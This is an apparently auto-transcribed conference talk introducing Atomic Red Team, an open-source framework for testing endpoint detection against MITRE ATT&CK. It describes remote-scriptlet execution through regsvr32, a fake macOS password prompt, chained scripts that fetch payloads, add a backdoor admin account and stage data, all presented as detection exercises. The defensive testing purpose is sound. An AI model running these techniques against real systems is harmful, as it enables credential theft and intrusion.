Testing Security Solutions with Atomic Red Team

[Music] awesome good morning everybody my name is Michael Hague I work for an organization that's red canary and I'm M hagas on Twitter I'd recommend not googling haggis right now maybe after this talk I don't want anybody getting sick then with red Canaries since 2016 before that I worked for a horse and 150 and then kind of before that I worked at an MS SP doing detection threat hunting all that so pretty much leading up to where I am today red canary focuses on endpoint detection of response using carbon black responds and CrowdStrike Falcon and so all of our detection capabilities are built around those tools and we find all the kinds of bad things that way so

today's talk is on atomic red team this is an open source project that we made to help organizations test their security stack and their solutions that they have and so more or less we're just going to go over how to test EDR solutions how we propose testing it against the mitre attack framework and then just different parts of the tools to help test that has anybody heard of atomic Red Team no this is great awesome so we've all invested tons and tons of money into security products whether it's the next sandbox the next email gateway all types of things down to the endpoint we're buying new AV products every other year because Nueva products have new things that are

next-gen and m/l and AI and unicorn pixie dust so our current state right is we buy lots of things we put lots of controls and policies in place to try to and prevent all the evils we assemble Voltron we tried to build this cool security stack that we've put a ton of money into hopefully it'll evict apt when that time comes hopefully it'll detect apt when that time comes and then we walk away from explosions you know or we do disaster girl where it's just like explosion we're granting that it's all falling apart Voltron so how do you feel about those products today I'm right you got a lot of security tools you got a lot of security

are you confident that a lot of it actually works you know I hear about all these recent breaches we see everything going down all the time our data is being stolen left and right lights are changing are we actually confident that these things are actually working and we believe it's working as its intended to we were told it was going to and right we bought the marketing that there was this detonation feature does every type of product file extension puts it in a sandbox gives you this cool sweet report but apt still gets through and you just hope that everything's there and it's working as intended so hopes appealing not a strategy so how do you know it's

actually working it's pretty simple you test it right so you probably went through like some kind of evaluation with this product you ran it through its paces hopefully it was preventing everything found all the evil stuff but a lot of organizations don't have like a standard like operating procedure about how they actually test products and what they do to confirm their stack is actually working effectively and constantly evaluating their detections or making sure things are being prevented as they kind of come out all the new types of techniques come out so obviously the standard of testing approaches here is we have our vendor supplied test and this will be like a stack test where it's like hey download this malware from

our website you'll just execute it in a VM and we'll detect it and we'll let you know on our dashboard it was like that's awesome that's great it works every time right because it's pretty much rigged you know might as well just pay him to do that all day you have your in-house testing which may or may not be the best you might just go on virustotal download a bunch of ransomware and you execute it and then it detects it or prevents it hopefully this works most of the time and that's where a lot of atomic Red Team came out like the core foundation of atomic Red Team was we were doing evaluations at red canary

customer or eval come in and say hey I want to test you guys like Oh awesome they have a red team you know they got an in-house team maybe a security team at that they're gonna do more than just execute malware I know these guys right hoping they're gonna break out like bloodhound do some PowerShell stuff download some Mimi cats try to go do some lateral movement do some cool stuff they end up just running ransomware and it's like oh cool a DS top number one thing you know and that's and that's where it was just like I'm over the AV you know execute the malware see if anything catches anything does red canary detect it you know and it just

kind of goes on and on and so atomic red team's whole purpose was let's change that let's let's do something different where you can actually give an eval customer or prospect something they can actually do and it's not stacking the game in any way it's an open-source project and so what we're saying is here take the different techniques from mitre has everyone heard of mitre attacked by now once or twice so you haven't heard of mitre will hop into that in a sec I'm jumping too far ahead I'm so excited so your comment approach outside of the vendor stacked game is your annual pen test you got your annual pen test that rolls through pen test your environment

you know you have some kind of problems with it which is your standard you know we're meeting compliance checkbox we find the cheapest pen test that we can afford bring them in they blow through our environment with a tenable nessus can drop the nice eighty nine hundred page report of all the vulnerabilities in your environment it's amazing could be expensive to write if you get a really really solid pen test internal external phishing assessment all of that lots of money dinner could be scoping problems can we get domain admin are we allowed to touch certain web servers don't touch those there's customer data there's pH I there's all this fancy stuff going on we can't let you guys get

anywhere near that and then of course not all teams are created equal yeah you got the necess or what John strand calls pentest puppy mills they just kind of rotate through necess can ship reports very basic and so that's kind of where like the really really saw red teams come out that are out there or you just call hacker man or wait for China to do it whichever so solution another solution maybe just build your own red team kind of the hard parts that is it has its own challenges as well you either got a build up internally on your own hire a bunch of guys to come in and learn or who have done it previously you

might end up with the team of like six guys and you have like a very small organization so it may not be completely effective and most cost-effective for your whole organization even the largest organizations out there have very small red teams so it's still something that's being built up out there and so building it versus just running a bunch of malware it's almost kind of like two different things right which leads us to why atomic red team was formed again so outside of the occasional poorly scoped pen test and rigged POC testing many orc simply do not regularly test their solutions and that's the beauty of atomic red team and that's what we always try to push and recommend to

organizations is making sure that you're constantly testing your security stack is your ad working as effective as as you hope it is is that new perimeter firewall UTM was being gadget on the perimeter actually preventing things as it comes in or even egress are you able to get the visibility of things leaving your environment or posting out to random websites out there it's all about that visibility with detection so we need an ongoing iterative testing solution something that you can actually measure objectively and then has a very low barrier to entry and pause for dramatic effect already talked about it so found a great team so it's open source like I mentioned the idea of it is supposed to be very easy

for anybody to go in and say I want to be able to test my whole security stack from end and using mitre attacks so you can say all the way from the delivery all the way down to command and control I want to see each stage in my environment of how I have my detection built if you have an MS SP or if you're using an outside provider this is a great way to actually see if they do things in your environment how do they actually respond are you getting an alert for a new schedule tasks are you getting alert for abnormal situ whatever it may be in your environment and the way we made a lot of these tests is

super simple like just go to the website go to the github repo copy and paste drop it in on a box that you have access to and then you're approved to run it on run it see what happens did anybody alert you or any of your products firing off is anybody doing anything about it so in my tour right now is probably like one of the hottest topics out there today everybody's been building on this we started this project last June I believe now so we've been working on this and adding things to the framework as much as we can as well well so miter attack backed up a little bit about what mitre is we had a couple people not on

it it's a treasure trove of adversary TTP's it's mapping but also knowing group behaviors the neat thing about it is you're able to go in there and see like a PT 32 and understand that they run PowerShell register 32 they set up some kind of persistence on the environment and they perform whatever other activities and that's kind of the nice thing about mitre as it gives us that visibility can you guys that's like I'll come down here but you can see over here on the this side which is probably your right this is all the pieces where mitre attack has been mapping out to so we have our persistence privilege escalation again all the way down to

command and control so the focus is down on that post exploitation area where we're now having visibility into which is really neat and the way we did it with our atomic Red Team framework here is it's on github it's under red Canaries Page atomic Red Team the way my tour broke it out was they have Mac Windows and Linux and so we built out all the use cases under each of those folders here Linux Mac and Windows and each one of those is an actual matrix The MITRE attacking matrix and we went through we built out each one of these different pieces so that literally you could go in have that low barrier of entry copy and paste that execute it see

what fires in your environment it sounds so simple right like just copy paste something drop it in most of them are that easy there are some in here that require like a you know maybe a situ server on the other end just to get that full kind of like in the end visibility of what it actually happens but yeah you see dynamic data exchange that was that really popular excel word word dde exploit and all that so little things like that are in there which is really neat makes it very effective super simple and so the whole idea again was to have low barrier of entry you're able to go in and test your environment

make sure that sandbox actually works you can do small targeted tests you don't have to wait for that annual pen test all the time or you know pay a bunch of money every other year every year whatever it may be but you're able to start testing yourself for different techniques within mitre if you want to focus this week on persistence you can just go down to persistence line you know or we do we have visibility do we have our detections are we looking for this within our sim or is our other product pipe pieces actually helping us here in these areas or not and that's probably one of the most important things right are these things working

and also give back and help organizations out there get started with these things have better testing methodologies out there for seeing and proving out these products thought I took this one out so the origins of atomic just started out again just as something where evil organizations can actually just run through and test red canary this is on my github page it's under bookish happiness if you wanted to go look at it it wasn't mapped to mightor back in the day which why it was why we moved to that today because it's a lot more effective and everybody understands it has that singular language we're all able to talk so next couple slides I'm just gonna break down a couple pieces of

miter attack and the actual techniques so this is technique 11:17 this is read surf thirty-two there's an AR way over there but any you guys ever see any of these types of attacks out in the wild with a navy or anything edie our products is anybody looking for this awesome this is where it becomes effective you can go on the website right now it's on the red team github repo check out 1117 under execution register 32 and you're gonna be able to run this quick command copy paste it you have two options within the repo there's a local command of it and there's also an external one so you're actually able to pull the payload from github or you

can just run it locally on the box and so in this particular case what we always try to do for everything within my atomic red team is we want to be able to break this down and show you different pieces where you can actually build detection around it in your environment so in this particular case register 32 is running on every Windows machine out there it's super noisy executing stuff all the time looking just for that isn't going to be the most effective way to detect this type of attack maybe you could do it on the command line switches /s UI maybe describe SCR hub DLL maybe it's going to this weird website right look

up the network indicators is it hitting a different port non-standard ports is it going to a domain is it just making a network connection in general which register by its very nature does not do that and then that module SCR object DLL all of that is very fishy Casey Smith found this I think a couple years ago now maybe two years now anybody know who sub T is on Twitter okay so so this he found this if you can following him for a while he's been pushing this one around for a while so that's where this comes so within that matrix four windows under register of 32 execution this is exactly what it looks like on the repo you can go in if you

just do if you just pull the repo down to your local box you can execute it locally like this or if you want to download it you can do the remote here and so one of our examples that we have is you could just use PowerShell download the SCT and execute it that way to read serve it's really powerful and then the payload the SCT files down here at the bottom so we give you a very example basic example of the payload it'll just pop calc so is anybody monitoring for calc execution in their environment and so using atomic the way we see the lifecycle is you test your technique technique did you actually detect it or not do you have you know

the piece is broken out you have the telemetry from it are you building and tuning your detection capabilities and this is a complete cycle you either do or you don't have visibility for all these things or some of these things and so the idea is that you're continuously testing it's a full loop all the time and so that's the objective of it and it makes it very easy to just do one confirm and just kind of keep going down that line anybody have a Mac fleet in the environment in your environment a couple Mac's out there cool so I left this one in here cuz I thought this is cool this is Apple script on all Max and

this is technique 1141 within miter and its input prompt using Apple script and so specifically this is the piece field from miter if you go to my ders web page they give you the full details about endpoint input prompt how Apple script works on this side over here you'll see the platform what part is under so the tactic is credential access what data sources you actually need and that's a pretty important piece to collecting this telemetry so in this case user interface and process monitoring and the process for Apple script is Osso script OS a strip right here and so this particular technique this is a from the repo it's just prompting the user for their password so if you

execute this on your Mac box it'll prompt the associate for something and so like in this case here's the input prompt right here a little bit the full script is right here at the top so this is one way to run it and this is how we have it in the repo you just copy it you paste it you'll get a prompt on your back again is your product out there detecting that input prompt on the endpoint side do you have visibility into weird prompts happening on endpoints so in this particular case you know I need your password cuz we're doing software updates today thank you and everybody's gonna enter it right that's that's how we roll and then

another way you could do it actually just just breaks down a little bit of the pieces here and broke into carbon black response so you can kind of see it be use it isn't even using carbon black response or CrowdStrike Falcon we should drink every time ask a question but so in this particular case OS the script that - II right there is probably one of the more important pieces when you're running O's the script if you if you have a Mac fleet look for OSA script in your environment it may or may not be very noisy depending on the apps being used it's launching system preferences and then there's your password piece this comes from Empire this whole piece

right here so the Empire project was ported into Python and then they made it just like for Mac and Linux you can go hog-wild with it so this is one of the nicer ones that they had in there I believe in the project that self password is spelled incorrectly but we always see people enter it anyway so again iterating through your testing so that was very basic ohso script call it execute it another one here - which you can't really see too well on the far end over there but it's actually just calling it through the shell command so very simple just SH echo and then the whole same command there so again another method to see if

you can actually detect this some organizations might just do like wildcard something looking for password on the command it's definitely one way to do it it could be very taxing on a sim or even carbon black so always be testing is the one thing to walk away from here abt so one thing that we started getting feedback from the community was we want automation how can I oughta make these you know simple copy/paste drop it in how can I make it faster how can I just run a bunch of things at once versus just copying and pasting and do one by one test so we came up with this thing called chain reactions and the idea of a

chain reaction is taking multiple techniques across the tactics from mitre and putting them together and just putting it in a batch file or a PowerShell script and is execute it so it'll just go through simulate a bunch of weird behavior or activity in your environment and you may or may not have detection ploy so the quick way to generate a chain reaction is you just what I always do is I just pick a couple different techniques across all the tactics and I just say I want to do some discovery if I got some credential access let's throw it in there too I want to do some schedule tasks or do some type of automated collection and

then do some basic X bill whether X bill doesn't always mean you know taking it off out to the Internet to some Chinese website it could also just be compressing data and storing it on the Box staging it for expo so all those things I just want to make it happen in one bang I don't have to deal with copying and pasting twelve things at once so again here's the mitre attack matrix so what we're gonna do is account discovery file deletion we're gonna do some system security discovery and there's our data compression encryption and change the size of it or slice our zip file up in multiple ways after we collected all your doc files so very

adversarial simulation based you guys find this pretty useful he's gonna go home and play with it all night yes love it then you're gonna do a pull request right awesome so this chain reactions called plutonium on the repo it's under atomic red team artifact chain reactions and this one's plutonium very very basic we always try to start off with everything you know don't execute evil stuff in your environment unless you have permission and then below that begins all the fun stuff so in this case what I did is I just said well hop on the next slides that's where all the magic happens alright so here it is plutonium so this is just the raw piece of it here's my

persistence defense evasion this is my schedule task which you can not see over there I'm scheduling out of naming at atomic testing and then I'm gonna have it run read serve 32 I'm gonna download the content from our github repo which happens to be that SCT file and so it's gonna schedule that job on this box it's gonna do evil things it's gonna be pretty cool and then the next one down is discovery I'm just having it actually download a bat file that I created which is called discovery dot bat to make it super simple discovery dot bat has like 80 things of discovery all the technique so net user net local group net all the

things right it just goes down the list it runs wmic this excuse hog-wild like just wild wild stop the pieces you can barely see over here is after this after downloads and runs discovery bat and goes crazy it will then add a username Trevor with the password of smashed burg one two three and then it will add Trevor to the local administrators group and then after that it says you know echoes hey that was real fun you know so now you get to go back and try to find all that data in your environment and I always start to break it down you can't see the scheduled tasks went over there but looking for these types of things in

your environment and this is the power of using a product like a simple tool like atomic red team is now you're able to say do we have visibility into our schedule pass across our windows fleet do we know who's doing what out there and it's pretty generically busy and kind of noisy at times but if you filter out the noise you get down to weird things like this are you looking for HTTP that are being scheduled in that are you looking for in your proxy logs people downloading from raw github user content comm and then also executing register 32 SCR DLL all those types of things down to you got people executing PowerShell they're running download string from

github again and they're dropping weird at files from the internet because we all do that for fun and then we've got to figure out once they made that file mod what's the output looked like what are they dumping right actors will dump all their data to a text file is password encrypted and ship it out slice it if they need to and then yeah are you monitoring users being added so you've got lots of pieces of telemetry going on here one of our other chain reactions actually just downloads me me cats so again did did my sandbox alert on that did it execute it how do I know me me cats is being brought in was I

alerted on any of this that's happening out there one of the reasons why I like this one is you may get a tip-off just based on that scheduled task from your some of your standard alerting or even that PowerShell command but the ones that of people don't really learn on or monitor a lot is that using adding the user and adding a user to the local admin group there's other chain reactions I created that are heavy focused on discovery literally just looks for users runs a bunch of discovery stuff and then it downloads bloodhound at the end and it runs bloodhound across your ad environment it dumps the files on the file system most of it's so noisy that people don't want

to look at it in their products and that's the power of using something just like as a batch script or a PowerShell script makes a nice and easy so the next thing we did was well let's take a report from like Mannion like a apt report and let's simulate it because now we've got a quick way to take everything we built put it into a batch file well let's now simulate an actual threat group so now you're curious like let me threat model all kinds of stuff in my environment find your friendly neighborhood abt out there that's roaming the streets this week let's mimic that actor and then maybe get some profit out of it so in this particular

case we created another chain reaction in that same directory called Dragons tail we looked at it on miners web page here we see that they schedule a task they run register 32 and then they use PowerShell and they do other things right they have custom command and control they do fancy protocol stuff this threat group in particular changes their tactics and techniques pretty often almost weekly now so if you're following along with them there's a hashtag on Twitter called hashtag daily scriptlet those NIC and those guys are constantly posting the changes that these guys are performing weekly so anyway back to this report a PT 32 this is exactly will be built just for that

test and this is a PowerShell script and it also has a macro you can embed into your word doc to simulate the execution from word spawning something else and then downloading something and kind of going down that full chain so this particular case there's your scheduled tasks we're running it we're deleting it to kind of help try to clean things up because we're nice like that well download more evil stuff here and then we create a holy hat we do time stomping in here so in this particular case yeah this is really cool Casey made this to 716 1945 where he changes the file date and time on that and then the defense evasion here is where does

deleting the text file writing to the hosts that it's done so really really simple to mimic an adversary we haven't gone through and created all of these from mitre all the different threat groups out there but this is just one quick example and that's part of the modularity of atomic right team is you're able to just say hey I want to run like five things and just see what it looks like in my product stacks or how's my network do I have visibility into this coming in or ship that word doctor email if in my you know email gateway detect it this week so I'll do it demo I think we still have some time I'll do a demo here in a

minute so you guys can see how easy it is quick notes on simulating apt is so this is NIC card he tweeted this a little while back but basically is I don't know that it's possible to authentically simulate the best apt groups the best we can do is get up to yesterday because they're constantly rotating and changing their tactics and techniques so tomorrow it's going to be something different they're doing something different even just malware spam campaigns they're constantly changing their techniques to bypass all the gateways then we have our Trump tweet here Russia has tremendous apt just tremendous so they have the best tradecraft you can't catch these guys at all but they're great so before I help them to

demo what's next for atomic red team what we've been working on now is making things to where it could be pulled into different automation frameworks and so in this particular case over on that side which is kind of cut off we've been converting all of our techniques to gamal so now it's gonna be even more machine readable you're able to now just kind of run through this with whatever product you want to use some of the short term is getting it pulled into boobers mehta automation tool or even miters Caldera so you cannot just automate it across multiple machines in an environment it makes it quick and easy we're working on that right now that's the big one

lis homes over here on this side he he actually put a pull request in just like what you're gonna do here soon - he plays pull request and they create like a really quick automated powershell framework for the current techniques that are in there we haven't converted that to Yambol but once that converts the gamble everything will be from atomic red team into like a quick PowerShell strip and you can actually build like your chain reactions right there in the framework so just ship them off like that very very powerful easy free so there's the repo when you submit that PR so it's just github red canary Co atomic red team there's the website as well atomic red

team comm link right to the repo from there everybody's atomic this is open source contribute ship anything back you have feedback on the project shoot us an email at research at red canary calm you can always hit Casey up if you can't see but everybody knows them at sub T there's me and then Adam as well who's working on the project so you guys want to see a demo see screen are you guys on alright see if we can make it rain

Oh awesome so this is atomic Red Team calm if you couldn't tell and I'm going to change my screen just gonna hear it much better perfect so this is atomic red team comm you click that link you go to the repo it's fine I'll stand back up so here's the repository on github and like I mention everything's here there's also basic how to use atomic red team on here in case you've never seen it or heard you know played with it too much all that data is here and so for the quick demo what I'm gonna do is what I like to do for a red kitten area is this is connected back to our carbon

black instance our test1 and so the way they get our analysts that jump is just to start running every batch file in here because they all just go hog-wild so I'm just gonna click it it'll go through it's going to download that discovery bat file it just starts executing stuff and just goes crazy it's not on domain so it's gonna get hung up on a few things here and there alright so that was it that's how fast that one goes you can run other ones as well and they just go crazy this is a discovery one and so it's just going through everything on this box looking for everything out there generating telemetry or trails we call it so it's

generating information within carbon black or CrowdStrike or even sis lawn and now you're validating you can go back look through your data see if any of this information has been picked up by your tools we do have some success with a be mostly picking up everything especially when we pull in like me me cats or whatnot and so those pieces will come this is a system on is anybody using sis Mon awesome good no what's this Mon is OK so everything's in here so again this month collecting that telemetry that's being executed so here's a net view command running out of that directory from that batch file and that accounts domain this querying anything and

everything and this is that discovery bat file just going crazy here's that download string so simple is that right should be getting a phone call soon yeah that's it it just keeps going within the repo as well I always recommend checking out like our execution PowerShell technique it has a lot of really interesting ones in there that I borrowed from like different products like Empire or he might just be empire but Empire has some really cool things that you can execute that I added in there just copy paste them drop them in does some really crazy stuff it'll download maybe cats into notepad save it and execute it there's neat things to see if you actually have cape detection

capabilities for any of these things out there hey the demo worked right so that's impressive cool anybody have any questions shirts we have lots of shirts and stickers yeah what's up yeah I have no idea the question was how how did we bribe Leigh Holmes to submit a pull request from what I understand he actually is a fan of the project so he contributed just out of goodwill and helped us out with that oh there we go anyway it's awesome yeah yeah there's atomic stickers and t-shirts up here red canary stickers as well yeah any other questions

yeah we say like if you have like no visibility or like no budget you just can't get anything into your environment like an enterprise pool like carbon black or CrowdStrike minimally system on just for some visibility you can up your windows logging an audit log you can stuff like that too but again it could just generate more noise if you're a one-man shop you don't have all day to look for failed logins and everything you know even with system on stuff the other thing if you have Splunk or you can use a free part of Splunk we also have a system on tap I created a system on tap which allows you to kind of go from zero

to 100 real quick just with sis Mon data so that's a really quick way to kind of win at that front - this one's probably your fastest easy bet to get going and then over longer-term budget for something more enterprise that you can actually do more with than everything yeah any other questions oh hey it's dark over there yes

yeah yep

yeah yep so the question was is there there any plans to like add like staging into atomic red team right now we haven't added that but I think that's where like the yam will piece is going to come into play once we get like meta using it and caldera and whatnot will probably be have better options and availability to like add those pieces for staging and across multiple endpoints especially like you do like a password spray and then you log into a new box or something could be more hands-on too for the for the one-man shop attack or team you know to go through for sure yeah not right now yeah good question

Oh any other questions not saluting I'm just blocking the light awesome thank you guys appreciate it thanks for getting up early for me